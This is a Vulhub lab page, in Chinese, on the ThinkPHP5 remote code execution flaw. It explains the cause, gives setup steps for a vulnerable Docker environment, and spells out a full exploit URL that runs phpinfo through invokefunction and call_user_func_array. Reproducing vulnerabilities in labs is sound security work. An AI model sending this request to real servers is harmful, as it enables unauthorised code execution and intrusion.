ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞
Path thinkphp/5-rce
ThinkPHP是一款運用極廣的PHP開發框架。其版本5中,由于沒有正確處理控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下)可以執行任意方法,從而導致遠程命令執行漏洞。
參考鏈接:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
漏洞環境
運行ThinkPHP 5.0.20版本:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080即可看到ThinkPHP默認啟動頁面。
漏洞復現
直接訪問http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可執行phpinfo:

Vulhub 文檔
推薦文章: